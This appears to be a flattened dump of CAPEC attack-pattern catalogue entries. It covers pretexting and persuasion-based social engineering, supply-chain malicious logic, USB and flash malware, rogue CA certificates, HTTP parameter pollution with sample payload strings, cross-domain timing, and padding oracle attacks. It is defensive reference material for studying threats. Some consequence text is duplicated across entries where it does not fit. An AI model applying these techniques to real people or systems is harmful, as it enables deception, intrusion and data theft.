Dumpster Diving Detailed An adversary cases an establishment and searches through trash bins, dumpsters, or areas where company information may have been accidentally discarded for information items which may be useful to the dumpster diver. The devastating nature of the items and/or information found can be anything from medical records, resumes, personal photos and emails, bank statements, account details or information about software, tech support logs and so much more, including hardware devices. By collecting this information an adversary may be able to learn important facts about the person or organization that play a role in helping the adversary in their attack. 2014-06-23 02:00:00 Capec: CAPEC-406
Reference_from_capec: REF-348
2022-09-29 02:00:00 2.1 Confidentiality:
  • Other (Documents and materials improperly disposed of can lead to information disclosure if an adversary comes across it.)
Physical Security
None None
  • An adversary must have physical access to the dumpster or downstream processing facility.
Stable Low 3.9
150
Pretexting via Customer Service Detailed An adversary engages in pretexting behavior, assuming the role of someone who works for Customer Service, to solicit information from target persons, or manipulate the target into performing an action that serves the adversary's interests. One example of a scenario such as this would be to call an individual, articulate your false affiliation with a credit card company, and then attempt to get the individual to verify their credit card number. 2014-06-23 02:00:00 Capec: CAPEC-412
Reference_from_capec: REF-348
2019-09-30 02:00:00 2.1 Social Engineering
Social Engineering
None None Draft Low 3.9
407
Pretexting via Tech Support Detailed An adversary engages in pretexting behavior, assuming the role of a tech support worker, to solicit information from target persons, or manipulate the target into performing an action that serves the adversary's interests. An adversary who uses social engineering to impersonate a tech support worker can have devastating effects on a network. This is an effective attack vector, because it can give an adversary physical access to network computers. It only takes a matter of seconds for someone to compromise a computer with physical access. One of the best technological tools at the disposal of a social engineer, posing as a technical support person, is a USB thumb drive. These are small, easy to conceal, and can be loaded with different payloads depending on what task needs to be done. However, this form of attack does not require physical access as it can also be effectively carried out via phone or email. 2014-06-23 02:00:00 Capec: CAPEC-413
Reference_from_capec: REF-348
2019-09-30 02:00:00 2.1 Social Engineering
Social Engineering
None None Draft Low 3.9
407
Pretexting via Delivery Person Detailed An adversary engages in pretexting behavior, assuming the role of a delivery person, to solicit information from target persons, or manipulate the target into performing an action that serves the adversary's interests. Impersonating a delivery person is an effective attack and an easy attack since not much acting is involved. Usually the hardest part is looking the part and having all of the proper credentials, papers and "deliveries" in order to be able to pull it off. 2014-06-23 02:00:00 Capec: CAPEC-414
Reference_from_capec: REF-348
2019-09-30 02:00:00 2.1 Social Engineering
Social Engineering
None None Draft Low 3.9
407
Pretexting via Phone Detailed An adversary engages in pretexting behavior, assuming some sort of trusted role, and contacting the targeted individual or organization via phone to solicit information from target persons, or manipulate the target into performing an action that serves the adversary's interests. This is the most common social engineering attack. Some of the most commonly effective approaches are to impersonate a fellow employee, impersonate a computer technician or to target help desk personnel. 2014-06-23 02:00:00 Capec: CAPEC-415
Reference_from_capec: REF-348
2019-09-30 02:00:00 2.1 Social Engineering
Social Engineering
None None Draft Low 3.9
407
Influence Perception of Reciprocation Detailed An adversary uses a social engineering techniques to produce a sense of obligation in the target to perform a certain action or concede some sensitive or key piece of information. Obligation has to do with actions one feels they need to take due to some sort of social, legal, or moral requirement, duty, contract, or promise. There are various techniques for fostering a sense of obligation to reciprocate or concede during ordinary modes of communication. One method is to compliment the target, and follow up the compliment with a question. If performed correctly the target may volunteer a key piece of information, sometimes involuntarily. 2014-06-23 02:00:00 Capec: CAPEC-418
Reference_from_capec: REF-348
Reference_from_capec: REF-360
2017-08-04 02:00:00 2.1 Integrity:
  • Other (Attacks that influence the perception of the target can result in a wide variety of consequences and negatively affect potentially the confidentiality, availability, and/or integrity of an application or system.)
Availability:
  • Other (Attacks that influence the perception of the target can result in a wide variety of consequences and negatively affect potentially the confidentiality, availability, and/or integrity of an application or system.)
Confidentiality:
  • Other (Attacks that influence the perception of the target can result in a wide variety of consequences and negatively affect potentially the confidentiality, availability, and/or integrity of an application or system.)
Social Engineering
  1. An adversary develops a relationship with the target to foster a feeling of obligation in them to perform a certain action or concede some information. A perception of obligation/concession means that the target feels they need to behave in some way or perform some sort of action due to being morally or legally bound to do so.
None Medium
  • The adversary must have the means and knowledge of how to communicate with the target in some manner.
  • None: No specialized resources are required to execute this type of attack.
Low: The adversary requires strong inter-personal and communication skills. Draft Medium 3.9
417
Influence Perception of Scarcity Detailed The adversary leverages a perception of scarcity to persuade the target to perform an action or divulge information that is advantageous to the adversary. By conveying a perception of scarcity, or a situation of limited supply, the adversary aims to create a sense of urgency in the context of a target's decision-making process. 2014-06-23 02:00:00 Capec: CAPEC-420
Reference_from_capec: REF-348
2017-08-04 02:00:00 2.1 Integrity:
  • Other (Attacks that leverage the principle of scarcity can lead to the target performing an action that results in a variety of consequences that negatively affect the confidentiality, availability, and/or integrity of an application or system.)
Availability:
  • Other (Attacks that leverage the principle of scarcity can lead to the target performing an action that results in a variety of consequences that negatively affect the confidentiality, availability, and/or integrity of an application or system.)
Confidentiality:
  • Other (Attacks that leverage the principle of scarcity can lead to the target performing an action that results in a variety of consequences that negatively affect the confidentiality, availability, and/or integrity of an application or system.)
Social Engineering
  1. An adversary sends an email to a target about a limited-time opportunity to claim a considerable monetary reward. The email contains a link to a site which the adversary says is only active for a short time and to the first person to claim it. By convincing the user of the scarcity of the monetary reward, the adversary aims to persuade them to click on the malicious link in the email.
None High
  • The adversary must have the means and knowledge of how to communicate with the target in some manner.
  • None: No specialized resources are required to execute this type of attack.
Low: The adversary requires strong inter-personal and communication skills. Stable Low 3.9
417
Influence Perception of Authority Detailed An adversary uses a social engineering technique to convey a sense of authority that motivates the target to reveal specific information or take specific action. There are various techniques for producing a sense of authority during ordinary modes of communication. One common method is impersonation. By impersonating someone with a position of power within an organization, an adversary may motivate the target individual to reveal some piece of sensitive information or perform an action that benefits the adversary. 2014-06-23 02:00:00 Capec: CAPEC-421
Reference_from_capec: REF-348
2020-07-30 02:00:00 2.1 Integrity:
  • Other (Attacks that leverage the principle of scarcity can lead to the target performing an action that results in a variety of consequences that negatively affect the confidentiality, availability, and/or integrity of an application or system.)
Availability:
  • Other (Attacks that leverage the principle of scarcity can lead to the target performing an action that results in a variety of consequences that negatively affect the confidentiality, availability, and/or integrity of an application or system.)
Confidentiality:
  • Other (Attacks that leverage the principle of scarcity can lead to the target performing an action that results in a variety of consequences that negatively affect the confidentiality, availability, and/or integrity of an application or system.)
Social Engineering
  1. The adversary calls the target and announces that they are the head of IT at the target's company. The adversary goes on to say that there has been a technical issue and they need the target's login credentials for their account. By convincing the target of their authority, the adversary hopes the target will reveal the sensitive information.
None High
  • The adversary must have the means and knowledge of how to communicate with the target in some manner.
  • None: No specialized resources are required to execute this type of attack.
Low: The adversary requires strong inter-personal and communication skills. Stable Low 3.9
417
Influence Perception of Commitment and Consistency Detailed An adversary uses social engineering to convince the target to do minor tasks as opposed to larger actions. After complying with a request, individuals are more likely to agree to subsequent requests that are similar in type and required effort. 2014-06-23 02:00:00 Capec: CAPEC-422
Reference_from_capec: REF-348
2020-12-17 01:00:00 2.1 Integrity:
  • Other (Attacks that leverage the principle of scarcity can lead to the target performing an action that results in a variety of consequences that negatively affect the confidentiality, availability, and/or integrity of an application or system.)
Availability:
  • Other (Attacks that leverage the principle of scarcity can lead to the target performing an action that results in a variety of consequences that negatively affect the confidentiality, availability, and/or integrity of an application or system.)
Confidentiality:
  • Other (Attacks that leverage the principle of scarcity can lead to the target performing an action that results in a variety of consequences that negatively affect the confidentiality, availability, and/or integrity of an application or system.)
Social Engineering
None High
  • The adversary must have the means and knowledge of how to communicate with the target in some manner.
  • None: No specialized resources are required to execute this type of attack.
Low: The adversary requires strong inter-personal and communication skills. Stable Low 3.9
417
Influence Perception of Liking Detailed The adversary influences the target's actions by building a relationship where the target has a liking to the adversary. People are more likely to be influenced by people of whom they are fond, so the adversary attempts to ingratiate themself with the target via actions, appearance, or a combination thereof. 2014-06-23 02:00:00 Capec: CAPEC-423
Reference_from_capec: REF-348
2020-07-30 02:00:00 2.1 Integrity:
  • Other (Attacks that leverage the principle of liking can lead to the target performing an action that results in a variety of consequences that negatively affect the confidentiality, availability, and/or integrity of an application or system.)
Availability:
  • Other (Attacks that leverage the principle of liking can lead to the target performing an action that results in a variety of consequences that negatively affect the confidentiality, availability, and/or integrity of an application or system.)
Confidentiality:
  • Other (Attacks that leverage the principle of liking can lead to the target performing an action that results in a variety of consequences that negatively affect the confidentiality, availability, and/or integrity of an application or system.)
Social Engineering
None Medium
  • The adversary must have the means and knowledge of how to communicate with the target in some manner.The adversary must have knowledge of the types of things that the target likes.
Low: The adversary requires strong inter-personal and communication skills. Stable Low 3.9
417
Influence Perception of Consensus or Social Proof Detailed The adversary influences the target's actions by leveraging the inherent human nature to assume behavior of others is appropriate. In situations of uncertainty, people tend to behave in ways they see others behaving. The adversary convinces the target of adopting behavior or actions that is advantageous to the adversary. 2014-06-23 02:00:00 Capec: CAPEC-424
Reference_from_capec: REF-348
2017-08-04 02:00:00 2.1 Integrity:
  • Other (Attacks that leverage the principle of liking can lead to the target performing an action that results in a variety of consequences that negatively affect the confidentiality, availability, and/or integrity of an application or system.)
Availability:
  • Other (Attacks that leverage the principle of liking can lead to the target performing an action that results in a variety of consequences that negatively affect the confidentiality, availability, and/or integrity of an application or system.)
Confidentiality:
  • Other (Attacks that leverage the principle of liking can lead to the target performing an action that results in a variety of consequences that negatively affect the confidentiality, availability, and/or integrity of an application or system.)
Social Engineering
None Low
  • The adversary must have the means and knowledge of how to communicate with the target in some manner.
Low: The adversary requires strong inter-personal and communication skills. Draft Low 3.9
417
Influence via Modes of Thinking Detailed The adversary tailors their communication to the language and thought patterns of the target thereby weakening barriers or reluctance to communication. This method is a way of building rapport with a target by matching their speech patterns and the primary ways or dominant senses with which they make abstractions. This technique can be used to make the target more receptive to sharing information because the adversary has adapted their communication forms to match those of the target. When skillfully employed, the target is likely to be unaware that they are being manipulated. 2014-06-23 02:00:00 Capec: CAPEC-428
Reference_from_capec: REF-348
2017-05-01 02:00:00 2.1 Social Engineering
None None Draft Low 3.9
427
Target Influence via Eye Cues Detailed The adversary gains information via non-verbal means from the target through eye movements. 2014-06-23 02:00:00 Capec: CAPEC-429
Reference_from_capec: REF-348
2017-08-04 02:00:00 2.1 Social Engineering
None None Draft Low 3.9
427
DEPRECATED: Target Influence via Micro-Expressions Detailed This attack pattern has been deprecated. 2014-06-23 02:00:00 Capec: CAPEC-430
2018-07-31 02:00:00 2.1 None None Deprecated None 3.9
DEPRECATED: Target Influence via Neuro-Linguistic Programming (NLP) Detailed This attack pattern has been deprecated. 2014-06-23 02:00:00 Capec: CAPEC-431
2018-07-31 02:00:00 2.1 None None Deprecated None 3.9
DEPRECATED: Target Influence via Voice in NLP Detailed This attack pattern has been deprecated. 2014-06-23 02:00:00 Capec: CAPEC-432
2018-07-31 02:00:00 2.1 None None Deprecated None 3.9
Target Influence via The Human Buffer Overflow Detailed An attacker utilizes a technique to insinuate commands to the subconscious mind of the target via communication patterns. The human buffer overflow methodology does not rely on over-stimulating the mind of the target, but rather embedding messages within communication that the mind of the listener assembles at a subconscious level. The human buffer-overflow method is similar to subconscious programming to the extent that messages are embedded within the message. The fundamental difference is that embedded messages have a complete semantic quality, rather than mere imagery, and the mind of the target tends to key off of particular dominant patterns. The remaining information, carefully structured, speaks directly to the subconscious with a subtle, indirect, command. The effect is to produce a pattern of thinking that the attacker has predetermined but is buried within the message and not overtly stated. Structuring a human "buffer overflow" requires precise attention to detail and the use of information in a manner that distracts the conscious mind from the message the subconscious is receiving. 2014-06-23 02:00:00 Capec: CAPEC-433
Reference_from_capec: REF-348
2022-02-22 01:00:00 2.1 Social Engineering
None None Draft Low 3.9
427
Target Influence via Interview and Interrogation Detailed 2014-06-23 02:00:00 Capec: CAPEC-434
Reference_from_capec: REF-348
2014-06-23 02:00:00 2.1 Social Engineering
None None Draft Low 3.9
427
Target Influence via Instant Rapport Detailed 2014-06-23 02:00:00 Capec: CAPEC-435
Reference_from_capec: REF-348
2014-06-23 02:00:00 2.1 Social Engineering
None None Draft Low 3.9
427
Malicious Logic Inserted Into Product by Authorized Developer Detailed An adversary uses their privileged position within an authorized development organization to inject malicious logic into a codebase or product. Supply chain attacks from approved or trusted developers are extremely difficult to detect as it is generally assumed the quality control and internal security measures of these organizations conform to best practices. In some cases the malicious logic is intentional, embedded by a disgruntled employee, programmer, or individual with an otherwise hidden agenda. In other cases, the integrity of the product is compromised by accident (e.g. by lapse in the internal security of the organization that results in a product becoming contaminated). In further cases, the developer embeds a backdoor into a product to serve some purpose, such as product support, but discovery of the backdoor results in its malicious use by adversaries. It is also worth noting that this attack can occur during initial product development or throughout a product's sustainment. 2014-06-23 02:00:00 Capec: CAPEC-443
Attack: T1195.002
Attack: T1195.003
Reference_from_capec: REF-379
Reference_from_capec: REF-704
Reference_from_capec: REF-705
2022-09-29 02:00:00 2.1 Authorization:
  • Execute Unauthorized Commands
Supply Chain
Software
Hardware
  1. In January 2022 the author of popular JavaScript packages "Faker" and "colors", used for generating mock data and including colored text within NodeJS consoles respectively, introduced malicious code that resulted in a Denial of Service (DoS) via an infinite loop. When applications that leveraged these packages updated to the malicious version, their applications executed the infinite loop and output gibberish ASCI characters endlessly. This resulted in the application being unusable until a stable version of the package was obtained. [REF-705]
  2. During initial development, an authorized hardware developer implants a malicious microcontroller within an Internet of Things (IOT) device and programs the microcontroller to communicate with the vulnerable device. Each time the device initializes, the malicious microcontroller's code is executed, which ultimately provides the adversary with backdoor access to the vulnerable device. This can further allow the adversary to sniff network traffic, exfiltrate date, execute unauthorized commands, and/or pivot to other vulnerable devices.
None Medium
  • Access to the product during the initial or continuous development.
Stable High 3.9
444
Malicious Logic Insertion into Product Software via Configuration Management Manipulation Detailed An adversary exploits a configuration management system so that malicious logic is inserted into a software products build, update or deployed environment. If an adversary can control the elements included in a product's configuration management for build they can potentially replace, modify or insert code files containing malicious logic. If an adversary can control elements of a product's ongoing operational configuration management baseline they can potentially force clients receiving updates from the system to install insecure software when receiving updates from the server. Configuration management servers operate on the basis of a client pool, instructing each client on which software to install. In some cases the configuration management server will automate the software installation process. A malicious insider or an adversary who has compromised the server can alter the software baseline that clients must install, allowing the adversary to compromise a large number of satellite machines using the configuration management system. If an adversary can control elements of a product's configuration management for its deployed environment they can potentially alter fundamental security properties of the system based on assumptions that secure configurations are in place. It is also worth noting that this attack can occur during initial product development or throughout a product's sustainment. 2014-06-23 02:00:00 Capec: CAPEC-445
Attack: T1195.001
Reference_from_capec: REF-379
Reference_from_capec: REF-706
2022-09-29 02:00:00 2.1 Authorization:
  • Execute Unauthorized Commands
Supply Chain
Software
  1. In 2016, the policy-based configuration management system Chef was shown to be vulnerable to remote code execution attacks based on its Chef Manage add-on improperly deserializing user-driven cookie data. This allowed unauthenticated users the ability to craft cookie data that executed arbitrary code with the web server's privileges. [REF-706]
None Medium
  • Access to the configuration management system during deployment or currently deployed at a victim location. This access is often obtained via insider access or by leveraging another attack pattern to gain permissions that the adversary wouldn't normally have.
Stable High 3.9
444
Malicious Logic Insertion into Product via Inclusion of Third-Party Component Detailed An adversary conducts supply chain attacks by the inclusion of insecure third- party components into a technology, product, or code-base, possibly packaging a malicious driver or component along with the product before shipping it to the consumer or acquirer. The result is a window of opportunity for exploiting the product until the insecure component is discovered. This supply chain threat can result in the installation of malicious software or hardware that introduces widespread security vulnerabilities within an organization. Additionally, because software often depends upon a large number of interdependent libraries and components to be present, security holes can be introduced merely by installing Commercial off the Shelf (COTS) or Open Source Software (OSS) software that comes pre-packaged with the components required for it to operate. It is also worth noting that this attack can occur during initial product development or throughout a product's sustainment. 2014-06-23 02:00:00 Capec: CAPEC-446
Attack: T1195
Reference_from_capec: REF-379
Reference_from_capec: REF-707
Reference_from_capec: REF-708
Reference_from_capec: REF-709
Reference_from_capec: REF-713
2022-09-29 02:00:00 2.1 Authorization:
  • Execute Unauthorized Commands
Supply Chain
Software
Hardware
  1. From mid-2014 to early 2015, Lenovo computers were shipped with the Superfish Visual Search software that ultimately functioned as adware on the system. The Visual Search installation included a self-signed root HTTPS certificate that was able to intercept encrypted traffic for any site visited by the user. Of more concern was the fact that the certificate's corresponding private key was the same for every Lenovo machine. Once the private key was discovered [REF-709], an adversary could then conduct an Adversary-in-the-Middle (AitM) attack that would go undetected by machines that had this certificate installed on it. Adversaries could then masquerade as legitimate entities such as financial institutions, popular corporations, or other secure destinations on the Internet. [REF-708]
  2. In 2018 it was discovered that Chinese spies infiltrated several U.S. government agencies and corporations as far back as 2015 by including a malicious microchip within the motherboard of servers sold by Elemental Technologies to the victims. Although these servers were assembled via a U.S. based company, the motherboards used within the servers were manufactured and maliciously altered via a Chinese subcontractor. Elemental Technologies then sold these malicious servers to various U.S. government agencies, such as the DoD and CIA, and corporations like Amazon and Apple. The malicious microchip provided adversaries with a backdoor into the system, which further allowed them to access any network that contained the exploited systems, to exfiltrate data to be sent to the Chinese government.[REF-713]
None Medium
  • Access to the product during the initial or continuous development. This access is often obtained via insider access to include the third-party component after deployment.
Stable High 3.9
444
Embed Virus into DLL Detailed An adversary tampers with a DLL and embeds a computer virus into gaps between legitimate machine instructions. These gaps may be the result of compiler optimizations that pad memory blocks for performance gains. The embedded virus then attempts to infect any machine which interfaces with the product, and possibly steal private data or eavesdrop. 2014-06-23 02:00:00 Capec: CAPEC-448
Cwe: CWE-506
Attack: T1027.009
2023-01-24 01:00:00 2.1 Authorization:
  • Execute Unauthorized Commands
Software
None Medium
  • Access to the software currently deployed at a victim location. This access is often obtained by leveraging another attack pattern to gain permissions that the adversary wouldn't normally have.
Stable High 3.9
442
DEPRECATED: Malware Propagation via USB Stick Detailed This attack pattern has been deprecated as it is a duplicate of CAPEC-448 : Malware Infection into Product Software. Please refer to this other pattern going forward. 2014-06-23 02:00:00 Capec: CAPEC-449
2017-05-01 02:00:00 2.1 None None Deprecated None 3.9
DEPRECATED: Malware Propagation via Infected Peripheral Device Detailed This attack pattern has been deprecated as it is a duplicate of CAPEC-448 : Malware Infection into Product Software. Please refer to this other pattern going forward. 2014-06-23 02:00:00 Capec: CAPEC-451
2018-07-31 02:00:00 2.1 None None Deprecated None 3.9
DEPRECATED: Modification of Existing Components with Counterfeit Hardware Detailed This attack pattern has been deprecated as it is a duplicate of CAPEC-452 : Malicious Logic Insertion into Product Hardware. Please refer to this other pattern going forward. 2014-06-23 02:00:00 Capec: CAPEC-454
2017-05-01 02:00:00 2.1 None None Deprecated None 3.9
DEPRECATED: Malicious Logic Insertion via Inclusion of Counterfeit Hardware Components Detailed This attack pattern has been deprecated as it is a duplicate of CAPEC-457 : Malicious Logic Insertion into Product Hardware. Please refer to this other pattern going forward. 2014-06-23 02:00:00 Capec: CAPEC-455
2017-05-01 02:00:00 2.1 None None Deprecated None 3.9
USB Memory Attacks Detailed An adversary loads malicious code onto a USB memory stick in order to infect any system which the device is plugged in to. USB drives present a significant security risk for business and government agencies. Given the ability to integrate wireless functionality into a USB stick, it is possible to design malware that not only steals confidential data, but sniffs the network, or monitor keystrokes, and then exfiltrates the stolen data off-site via a Wireless connection. Also, viruses can be transmitted via the USB interface without the specific use of a memory stick. The attacks from USB devices are often of such sophistication that experts conclude they are not the work of single individuals, but suggest state sponsorship. These attacks can be performed by an adversary with direct access to a target system or can be executed via means such as USB Drop Attacks. 2014-06-23 02:00:00 Capec: CAPEC-457
Cwe: CWE-1299
Attack: T1091
Attack: T1092
Reference_from_capec: REF-379
2023-01-24 01:00:00 2.1 Software
Hardware

Explore

  1. Determine Target System: In certain cases, the adversary will explore an organization's network to determine a specific target machine to exploit based on the information it contains or privileges the main user may possess.
  2. Techniques
    If needed, the adversary explores an organization's network to determine if any specific systems of interest exist.

Experiment

  1. Develop or Obtain malware and install on a USB device: The adversary develops or obtains the malicious software necessary to exploit the target system, which they then install on an external USB device such as a USB flash drive.
  2. Techniques
    The adversary can develop or obtain malware for to perform a variety of tasks such as sniffing network traffic or monitoring keystrokes.

Exploit

  1. Connect or deceive a user into connecting the infected USB device: Once the malware has been placed on an external USB device, the adversary connects the device to the target system or deceives a user into connecting the device to the target system such as in a USB Drop Attack.
  2. Techniques
    The adversary connects the USB device to a specified target system or performs a USB Drop Attack, hoping a user will find and connect the USB device on their own. Once the device is connected, the malware executes giving the adversary access to network traffic, credentials, etc.
Low
  • Some level of physical access to the device being attacked.
  • Information pertaining to the target organization on how to best execute a USB Drop Attack.
Draft High 3.9
456
Flash Memory Attacks Detailed An adversary inserts malicious logic into a product or technology via flashing the on-board memory with a code-base that contains malicious logic. Various attacks exist against the integrity of flash memory, the most direct being rootkits coded into the BIOS or chipset of a device. Such attacks are very difficult to detect because the malicious code resides outside the filesystem or RAM, and in the underlying byte-code that drives the processor. Many devices, such as the recent attacks against digital picture frames, contain only a microprocessor and a small amount of solid-state memory, rendering these devices ideal for "flash" based malware or malicious logic. One of the pernicious characteristics of flash memory based attacks is that the malicious code can survive even a total format of the hard-drive and reinstallation of the host operating system. Virtually any device which can be integrated into a computer system is susceptible to these attacks. Additionally, any peripheral device which interfaces with the computer bus could extract or sniff confidential data, even on systems employing full-disk encryption. Trojan code placed into a video card's chipset would continue to perform its function irrespective of the host operating system, and would be invisible to all known antivirus. The threats extend to consumer products such as camcorders, digital cameras, or any consumer electronic device with an embedded microcontroller. 2014-06-23 02:00:00 Capec: CAPEC-458
Cwe: CWE-1282
Reference_from_capec: REF-379
Reference_from_capec: REF-394
2023-01-24 01:00:00 2.1 Software
Hardware
None None Draft None 3.9
456
Creating a Rogue Certification Authority Certificate Detailed An adversary exploits a weakness resulting from using a hashing algorithm with weak collision resistance to generate certificate signing requests (CSR) that contain collision blocks in their "to be signed" parts. The adversary submits one CSR to be signed by a trusted certificate authority then uses the signed blob to make a second certificate appear signed by said certificate authority. Due to the hash collision, both certificates, though different, hash to the same value and so the signed blob works just as well in the second certificate. The net effect is that the adversary's second X.509 certificate, which the Certification Authority has never seen, is now signed and validated by that Certification Authority. Alternatively, the second certificate could be a signing certificate. Thus the adversary is able to start their own Certification Authority that is anchored in its root of trust in the legitimate Certification Authority that has signed the attacker's first X.509 certificate. If the original Certificate Authority was accepted by default by browsers, so will the Certificate Authority set up by the adversary and any certificates that it signs. As a result, the adversary is able to generate any SSL certificates to impersonate any web server, and the user's browser will not issue any warning to the victim. This can be used to compromise HTTPS communications and other types of systems where PKI and X.509 certificates may be used (e.g., VPN, IPSec). 2014-06-23 02:00:00 Capec: CAPEC-459
Cwe: CWE-327
Cwe: CWE-295
Cwe: CWE-290
Reference_from_capec: REF-395
Reference_from_capec: REF-587
2022-09-29 02:00:00 2.1 Access Control:
  • Gain Privileges
Authentication:
  • Gain Privileges
Software
  1. MD5 Collisions The MD5 algorithm is not collision resistant, allowing attackers to use spoofing attacks to create rogue certificate Authorities.See also: CVE-2004-2761
  2. SHA1 Collisions The SHA1 algorithm is not collision resistant, allowing attackers to use spoofing attacks to create rogue certificate Authorities.See also: CVE-2005-4900
  3. PKI Infrastructure vulnerabilities Research has show significant vulnerabilities in PKI infrastructure. Trusted certificate authorities have been shown to use weak hashing algorithms after attacks have been demonstrated against those algorithms. Additionally, reliable methods have been demonstrated for generated MD5 collisions that could be used to generate malicious CSRs.

Experiment

  1. Craft Certificates: The adversary crafts two different, but valid X.509 certificates that when hashed with an insufficiently collision resistant hashing algorithm would yield the same value.
  2. Send CSR to Certificate Authority: The adversary sends the CSR for one of the certificates to the Certification Authority which uses the targeted hashing algorithm. That request is completely valid and the Certificate Authority issues an X.509 certificate to the adversary which is signed with its private key.

Exploit

  1. Insert Signed Blob into Unsigned Certificate: The adversary takes the signed blob and inserts it into the second X.509 certificate that the attacker generated. Due to the hash collision, both certificates, though different, hash to the same value and so the signed blob is valid in the second certificate. The result is two certificates that appear to be signed by a valid certificate authority despite only one having been signed.
Medium
  • Certification Authority is using a hash function with insufficient collision resistance to generate the certificate hash to be signed
  • Knowledge of a certificate authority that uses hashing algorithms with poor collision resistance
  • A valid certificate request and a malicious certificate request with identical hash values
High: An attacker must be able to craft two X.509 certificates that produce the same hash value Medium: Knowledge needed to set up a certification authority Draft Very High 3.9
473
HTTP Parameter Pollution (HPP) Detailed An adversary adds duplicate HTTP GET/POST parameters by injecting query string delimiters. Via HPP it may be possible to override existing hardcoded HTTP parameters, modify the application behaviors, access and, potentially exploit, uncontrollable variables, and bypass input validation checkpoints and WAF rules. 2014-06-23 02:00:00 Capec: CAPEC-460
Cwe: CWE-88
Cwe: CWE-147
Cwe: CWE-235
Owasp Attacks: Web Parameter Tampering
Reference_from_capec: REF-397
Reference_from_capec: REF-606
2022-02-22 01:00:00 2.1 Software

Explore

  1. Find User Input: The adversary finds anywhere in the web application that uses user-supplied input in a form or action. This can also be found by looking at parameters in the URL in the navigation bar of the browser

Experiment

  1. Add Duplicate Parameter Values: Once the adversary has identified what user input is used as HTTP parameters, they will add duplicates to each parameter one by one to observe the results. If the response from the HTTP request shows the duplicate parameter value concatenated with the original parameter value in some way, or simply just the duplicate parameter value, then HPP is possible.
  2. Techniques
    In the URL, add a duplicate parameter by using the "&" delimiter. For example "par1=val1" becomes "par1=val1&par1=val2". Depending on the backend API, this could be treated as "par1=val1, val2", which could lead to par1 being set to val2, ignoring val1.
    If the request is created based on user input directly on the page, the adversary will test by adding an encoded delimiter to the input. For example, the adverary might supply "1000%26action=withdraw" and the backend might interpret a POST request with the paramters "action=deposit&amount=1000&action=withdraw"

Exploit

  1. Leverage HPP: Once the adversary has identified how the backend handles duplicate parameters, they will leverage this by polluting the paramters in a way that benefits them. In some cases, hardcoded parameters will be disregarded by the backend. In others, the adversary can bypass a WAF that might only check a parameter before it has been concatenated by the backend, resulting in malicious queries getting through.
None
  • HTTP protocol is used with some GET/POST parameters passed
  • Any tool that enables intercepting and tampering with HTTP requests
Draft Medium 3.9
15
Cross-Domain Search Timing Detailed An attacker initiates cross domain HTTP / GET requests and times the server responses. The timing of these responses may leak important information on what is happening on the server. Browser's same origin policy prevents the attacker from directly reading the server responses (in the absence of any other weaknesses), but does not prevent the attacker from timing the responses to requests that the attacker issued cross domain. For GET requests an attacker could for instance leverage the "img" tag in conjunction with "onload() / onerror()" javascript events. For the POST requests, an attacker could leverage the "iframe" element and leverage the "onload()" event. There is nothing in the current browser security model that prevents an attacker to use these methods to time responses to the attackers' cross domain requests. The timing for these responses leaks information. For instance, if a victim has an active session with their online e-mail account, an attacker could issue search requests in the victim's mailbox. While the attacker is not able to view the responses, based on the timings of the responses, the attacker could ask yes / no questions as to the content of victim's e-mails, who the victim e-mailed, when, etc. This is but one example; There are other scenarios where an attacker could infer potentially sensitive information from cross domain requests by timing the responses while asking the right questions that leak information. 2014-06-23 02:00:00 Capec: CAPEC-462
Cwe: CWE-385
Cwe: CWE-352
Cwe: CWE-208
Reference_from_capec: REF-399
2022-02-22 01:00:00 2.1 Confidentiality:
  • Read Data
Software

Explore

  1. Determine service to send cross domain requests to: The adversary first determines which service they will be sending the requests to

Experiment

  1. Send and time various cross domain requests: Adversaries will send a variety of cross domain requests to the target, timing the time it takes for the target to respond. Although they won't be able to read the response, the adversary can use the time to infer information about what the service did upon receiving the request.
  2. Techniques
    Using a GET request, leverage the "img" tag in conjunction with "onload() / onerror()" javascript events to time a response
    Using a POST request, leverage the "iframe" element and use the "onload()" event to time a response

Exploit

  1. Infer information from the response time: After obtaining reponse times to various requests, the adversary will compare these times and infer potentially sensitive information. An example of this could be asking a service to retrieve information and random usernames. If one request took longer to process, it is likely that a user with that username exists, which could be useful knowledge to an adversary.
  2. Techniques
    Compare timing of different requests to infer potentially sensitive information about a target service
None
  • Ability to issue GET / POST requests cross domainJava Script is enabled in the victim's browserThe victim has an active session with the site from which the attacker would like to receive informationThe victim's site does not protect search functionality with cross site request forgery (CSRF) protection
  • Ability to issue GET / POST requests cross domain
Low: Some knowledge of Java Script Draft Medium 3.9
54
Padding Oracle Crypto Attack Detailed An adversary is able to efficiently decrypt data without knowing the decryption key if a target system leaks data on whether or not a padding error happened while decrypting the ciphertext. A target system that leaks this type of information becomes the padding oracle and an adversary is able to make use of that oracle to efficiently decrypt data without knowing the decryption key by issuing on average 128b calls to the padding oracle (where b is the number of bytes in the ciphertext block). In addition to performing decryption, an adversary is also able to produce valid ciphertexts (i.e., perform encryption) by using the padding oracle, all without knowing the encryption key. Any cryptosystem can be vulnerable to padding oracle attacks if the encrypted messages are not authenticated to ensure their validity prior to decryption, and then the information about padding error is leaked to the adversary. This attack technique may be used, for instance, to break CAPTCHA systems or decrypt/modify state information stored in client side objects (e.g., hidden fields or cookies). This attack technique is a side-channel attack on the cryptosystem that uses a data leak from an improperly implemented decryption routine to completely subvert the cryptosystem. The one bit of information that tells the adversary whether a padding error during decryption has occurred, in whatever form it comes, is sufficient for the adversary to break the cryptosystem. That bit of information can come in a form of an explicit error message about a padding error, a returned blank page, or even the server taking longer to respond (a timing attack). This attack can be launched cross domain where an adversary is able to use cross-domain information leaks to get the bits of information from the padding oracle from a target system / service with which the victim is communicating. 2014-06-23 02:00:00 Capec: CAPEC-463
Cwe: CWE-209
Cwe: CWE-514
Cwe: CWE-649
Cwe: CWE-347
Cwe: CWE-354
Cwe: CWE-696
Reference_from_capec: REF-400
2022-02-22 01:00:00 2.1 Communications
  1. An adversary sends a request containing ciphertext to the target system. Due to the browser's same origin policy, the adversary is not able to see the response directly, but can use cross-domain information leak techniques to still get the information needed (i.e., information on whether or not a padding error has occurred). This can be done using "img" tag plus the onerror()/onload() events. The adversary's JavaScript can make web browsers to load an image on the target site, and know if the image is loaded or not. This is 1-bit information needed for the padding oracle attack to work: if the image is loaded, then it is valid padding, otherwise it is not.
None None
  • The decryption routine does not properly authenticate the message / does not verify its integrity prior to performing the decryption operation
  • The target system leaks data (in some way) on whether a padding error has occurred when attempting to decrypt the ciphertext.
  • The padding oracle remains available for enough time / for as many requests as needed for the adversary to decrypt the ciphertext.
